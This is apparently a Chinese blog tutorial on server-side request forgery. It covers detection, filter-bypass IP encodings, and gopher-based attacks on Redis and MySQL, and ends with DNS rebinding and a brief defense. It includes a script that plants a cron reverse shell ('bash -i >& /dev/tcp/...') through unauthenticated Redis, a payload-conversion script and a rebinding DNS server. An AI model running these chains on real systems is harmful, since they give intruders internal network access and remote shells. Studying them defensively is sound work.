SSRF 漏洞分析和总结
1 定义与原理
1.1 定义
SSRF(Server-Side Request Forgery),服务器请求伪造,是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下, SSRF 攻击的目标是从外网无法访问的内部系统。
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载等等。
1.2 特点
攻击者无法直接访问目标机器 2 的服务
目标机器 1 能够访问目标机器 2 的服务
目标机器 1 暴露了访问目标机器 2 的方式,攻击者能够利用
1.3 检测方法
- 因为 SSRF 漏洞是让服务器发送请求的安全漏洞,所以可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在 SSRF 漏洞
- 在页面源码中查找访问的资源地址 ,如果该资源地址类型为
www.baidu.com/xxx.php?image=
(地址)的就可能存在 SSRF 漏洞
1.4 PHP 中的相关函数
- file_get_contents()
- fsockopen()
- curl_exec()
1.4 危害
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
- 攻击运行在内网或本地的应用程序(比如溢出)
- 对内网 Web 应用进行指纹识别,通过访问默认文件实现
- 攻击内外网的 Web 应用,主要是使用 get 参数就可以实现的攻击(比如 Struts2 漏洞利用,SQL 注入等)
- 利用 File 协议读取本地文件
2 绕过方法
2.1 IP 绕过
- 加端口
- 短网址,但是默认情况下 CURL 命令不开启 follow 302 跳转
- 指向任意 IP 的域名 xip.io,
127.0.0.1.xip.io
- IP 限制绕过
- 127.0.0.1
- 0177.0.0.1 八进制
- 0x7f.0.0.1 十六进制
- 十六进制去掉分隔符
http://0x7F000001
- 十进制去掉分隔符
http://2130706433
2.2 其它 Tips
- 结合 dict:// file:// gopher://
http://www.baidu.com@192.168.0.1
- 以
www.baidu.com
用户名,检测是否有权限访问 192.168.0.1 的网站
- 以
- 短连接(301 跳转,需要能访问到外网)
2.3 Gopher 协议
gopher 是一个互联网上使用的分布型的文件搜集获取网络协议
gopher 协议支持发出 GET、POST 请求:可以先截获 get 请求包和 post 请求包,再构造成符合 gopher 协议的请求。 gopher 协议是 ssrf 利用中一个最强大的协议(俗称万能协议)。
2.3.1 Gopher 控制 Redis 反弹 shell
前提
redis 未授权
redis 对 cron 有写权限
通过 socat 抓流量
脚本:
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0 >&1\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 quit
执行:./shell.sh 127.0.0.1 4444
流量转发
socat -v tcp-listen:4444,fork tcp-connect:IP:6379
流量转换
# coding: utf-8
import sys
exp = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第 2、3 字符串是否为 \r
elif line[-3:-1] == r'\r':
# 如果该行只有 \r,将 \r 替换成 %0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为 %0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp
2.3.2 Gopher 对 Mysql 的利用
前提:
- 存在 SSRF 漏洞
- MySQL 无密码
Gopher 协议转化
gopher://127.0.0.1:3306/_
+ url 编码的登录请求
+ 包长度(wireshark 抓包时可以直接看到 Packet Length)
+ %00%00%00%03
+ 查询语句(URL 编码)
+ %01%00%00%00%01
2.3.3 相关工具
https://github.com/tarunkant/Gopherus
2.4 DNS 重绑定攻击
2.4.1 原理
一般 web 应用程序防御 SSRF 的流程如下:
- 获取到输入的 URL,从该 URL 中提取 host
- 对该 host 进行 DNS 解析,获取到解析的 IP
- 检测该 IP 是否是合法的,比如是否是私有 IP 等
- 如果 IP 检测为合法的,则进入 curl 的阶段发包
观察到,在这个流程中,一共进行了两次 DNS 解析:第一次是对 URL 的 host 进行 DNS 解析,第二次是使用 curl 发包的时候进行解析。这两次 DNS 解析是有时间差的,我们可以使用这个时间差进行绕过。
时间差对应的 DNS 中的机制是 TTL
。TTL 表示 DNS 里面域名和 IP 绑定关系的 Cache 在 DNS 上存活的最长时间。即请求了域名与 IP 的关系后,请求方会缓存这个关系,缓存保持的时间就是 TTL。而缓存失效后就会删除,这时候如果重新访问域名指定的 IP 的话会重新建立匹配关系及 cache。
在上面的流程中,如果在 DNS 第二次解析的时候,我们能够更换 URL 对应的 IP,那么在 TTL 之后、缓存失效之后,重新访问此 URL 的话,就能获取被更换后的 IP。如果我们把第一次解析的 IP 设为合法 IP,就能绕过 host 合法性检查;把第二次解析的 IP 设为内网 IP,就达到了 SSRF 访问内网的目的。
总结 DNS 重绑定攻击的原理是:利用服务器两次解析同一域名的短暂间隙,更换域名背后的 ip 达到突破同源策略或过 waf 进行 ssrf 的目的。
2.4.2 实现
一些 DNS Rebinding 平台
手动实现
需要先添加一条 NS 记录和一条 A 记录:
记录类型 | 主机记录 | 记录值 |
---|---|---|
NS | test | ns.geekby.xyz |
A | ns | 39.96.14.41 |
NS 记录表示域名 test.geekby.xyz
这个子域名指定由 ns.geekby.xyz
这个域名服务器来解析,然后 A 记录表示这个 ns.geekby.xyz
的位置在 IP 地址 39.96.14.41
上。
这里搭建 DNS 服务器采用 python 的 twisted 库中的 name 模块,代码如下:
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name] < 1:
ip = "127.0.0.1"
else:
ip = "1.2.3.4"
if name not in record:
record[name]=0
record[name]+=1
print name+" ===> "+ip
answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0,
payload=dns.Record_A(address=b'%s'%ip,ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
2.4.3 防御方法
通过控制两次的 DNS 查询请求的间隔低于 TTL 值,确保两次查询的结果一致。
Java 应用的默认 TTL 为 10s,这个默认配置会导致 DNS Rebinding 绕过失败。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

上一篇: SQL 注入分析和总结
下一篇: MyBatis 介绍和使用
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论